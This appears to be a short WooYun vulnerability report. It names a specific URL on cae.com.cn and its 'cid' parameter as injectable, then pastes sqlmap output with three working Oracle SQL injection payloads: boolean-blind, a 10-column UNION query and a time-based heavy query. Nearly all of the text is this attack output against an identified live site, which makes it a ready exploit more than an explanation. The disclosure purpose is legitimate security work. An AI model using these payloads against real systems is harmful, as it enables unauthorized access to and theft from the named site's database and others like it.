WooYun.org

漏洞地址：http://www.cae.com.cn/webfunction/deliveryrange/cityrange.aspx?cid=0007

问题参数：cid

GET parameter 'cid' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection points with a total of 63 HTTP(s) requests:
---
Place: GET
Parameter: cid
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: cid=0007' AND 4452=4452 AND 'vhtp'='vhtp
    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: cid=0007' UNION ALL SELECT NULL,NULL,CHR(113)||CHR(118)||CHR(121)||CHR(109)||CHR(113)||CHR(107)||CHR(76)||CHR(80)||CHR(84)||CHR(70)||CHR(89)||CHR(74)||CHR(79)||CHR(67)||CHR(105)||CHR(113)||CHR(99)||CHR(113)||CHR(108)||CHR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM DUAL-- 
    Type: AND/OR time-based blind
    Title: Oracle AND time-based blind (heavy query)
    Payload: cid=0007' AND 3863=(SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) AND 'ckkb'='ckkb
---